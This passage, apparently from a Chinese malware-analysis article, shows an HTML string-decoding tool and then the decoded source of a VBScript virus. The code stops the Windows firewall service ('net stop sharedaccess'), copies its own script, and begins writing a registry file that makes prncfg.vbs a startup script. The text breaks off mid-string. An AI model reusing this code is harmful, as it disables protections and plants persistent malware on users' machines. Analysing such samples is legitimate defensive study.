write("<strong>unescape string:</strong>",unescape(revedstr),"<br>");
write("<strong>escape string:</strong>",escape(revedstr),"<br>");
}
else{
unescapstr = unescape(rev.instr.value);
revedstr = unescapstr.split('').reverse().join('');
write("<strong>uneacape string:</strong>",unescapstr,"<br/>");
write("<strong>reversed string:</strong>",revedstr);
}
}
}
</script>
</head>
<body>
<form action="" method="post">
<input type="checkbox" value="" />转换顺序(先求反后解码)?<br />
<input type="text" value="请在这里输入" onmousemove="this.select()"/>
<input type="button" value="转换"/></form>
</body>
</html>
使用以上的工具对代码进行解码后代码如下:
On Error Resume Next
Set fso=CreateObject("scripting.filesystemobject")
Set wshshell=CreateObject(strreverse("wscript.shell"))
Dim dri_list,dri_list0
Dim issend
issend=0
c_time=Date()
' 这是关闭SharedAccess(Intemet连接共享和防火墙服务)。
wshshell.run "net stop sharedaccess",0
Set drvs=fso.drives
sysdir=fso.GetSpecialFolder(1) 'WindowsFolder=0,SystemFolder=1, TemporaryFolder=2
thispath=wscript.ScriptFullName
Set fc=fso.OpenTextFile(thispath,1) 'ForReading=1,ForWriting=2 ,ForAppending=8
scopy=fc.readall
fc.Close
Set fc=Nothing
' 写注册表注册文件sysinfo.reg,注册系统开机自动执行病毒
Call writefile(sysdir&"\sysinfo.reg","windows registry editor version 5.00 [hkey_local_machine\software\policies\microsoft\windows\system\scripts\startup\0\0] "script"="%windir%\\system32\\prncfg.vbs" "parameters"="" "exectime"=hex(b):00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 [hkey_local_machine\software\microsoft\windows\currentversion\group policy\state\machine\scripts\startup\0\0] "script"="%windir%\\system32\\prncfg.vbs" "parameters"="" "exectime"=hex(b):00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
本文来自电脑杂谈,转载请注明本文网址:
http://www.pc-fly.com/a/jisuanjixue/article-27418-2.html
说得对
也道出了实情